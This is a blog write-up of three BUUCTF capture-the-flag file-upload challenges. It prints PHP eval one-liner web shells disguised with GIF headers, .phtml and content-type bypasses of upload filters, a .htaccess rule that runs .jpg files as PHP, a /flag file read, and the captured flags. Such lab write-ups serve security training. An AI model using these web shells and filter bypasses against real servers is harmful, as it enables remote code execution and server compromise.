BUUCTF - Web - upload三联

[极客大挑战 2019]Upload

一个文件上传的题,先看一眼发现没有前端检测,那就是后端脚本,先随便传个图片马
在这里插入图片描述

操,上传成功了。。。
里面写的是:

GIF89a		//GIF文件头
<script language="php">eval($_REQUEST[8])</script>

这是随便传的以前的图片,以下是正常顺序:
先写个一句话木马传上去:<?php eval($_REQUEST[8])?>,抓包将类型改为:image/jpeg
在这里插入图片描述
看来不光检查了文件的类型,测试发现php[3-5]也不可用(phtml不被过滤),可能是黑名单绕过
尝试传.gif文件,抓包改为.phtml,一句话木马:<?php eval($_REQUEST[8])?>
在这里插入图片描述
看来后端 ban 掉了 <? ,那就写:<script language="php">eval($_REQUEST[8])</script>
在这里插入图片描述
猜测后端存在getimagesize()函数检查文件头,在该文件前面写上:GIF89a
访问一下传上去的图片马
在这里插入图片描述
路径不对,猜测路径为/upload/123.phtml
在这里插入图片描述
上传成功,蚁剑连上在根目录找到flag:flag{baa96266-a311-4b3b-b13f-8605521b6802}

[ACTF2020 新生赛]Upload

看到源码里有句前端检测白名单:var allow_ext = ".jpg|.png|.gif";
上传刚才那张:
在这里插入图片描述
拿到shell
在这里插入图片描述
正常思路来一遍
写个一句话图片木马抓包改后缀:<?php eval($_REQUEST[8])?>
改成phpphp[3-5]均没反应,phtml回显上传成功
flag:flag{8ea3be0a-0b5a-4f5b-8252-1a15502f68cd}

[MRCTF2020]你传你🐎呢

先看源码发现没有前端检测,传一下刚才那张:
在这里插入图片描述
好吧按正常思路来,写个一句话木马改后缀:<?php eval($_REQUEST[8])?>

.jpg文件上传成功,但改成.php不行,尝试兼容文件后缀也不行
看报错信息是说临时创建了目录来保存该12.jpg,既然不能修改后缀,那就传.htaccess
AddType application/x-httpd-php .jpg
在这里插入图片描述
猜测flag在根目录下,直接读:var_dump(file_get_contents('/flag'));
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1ta-chi

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值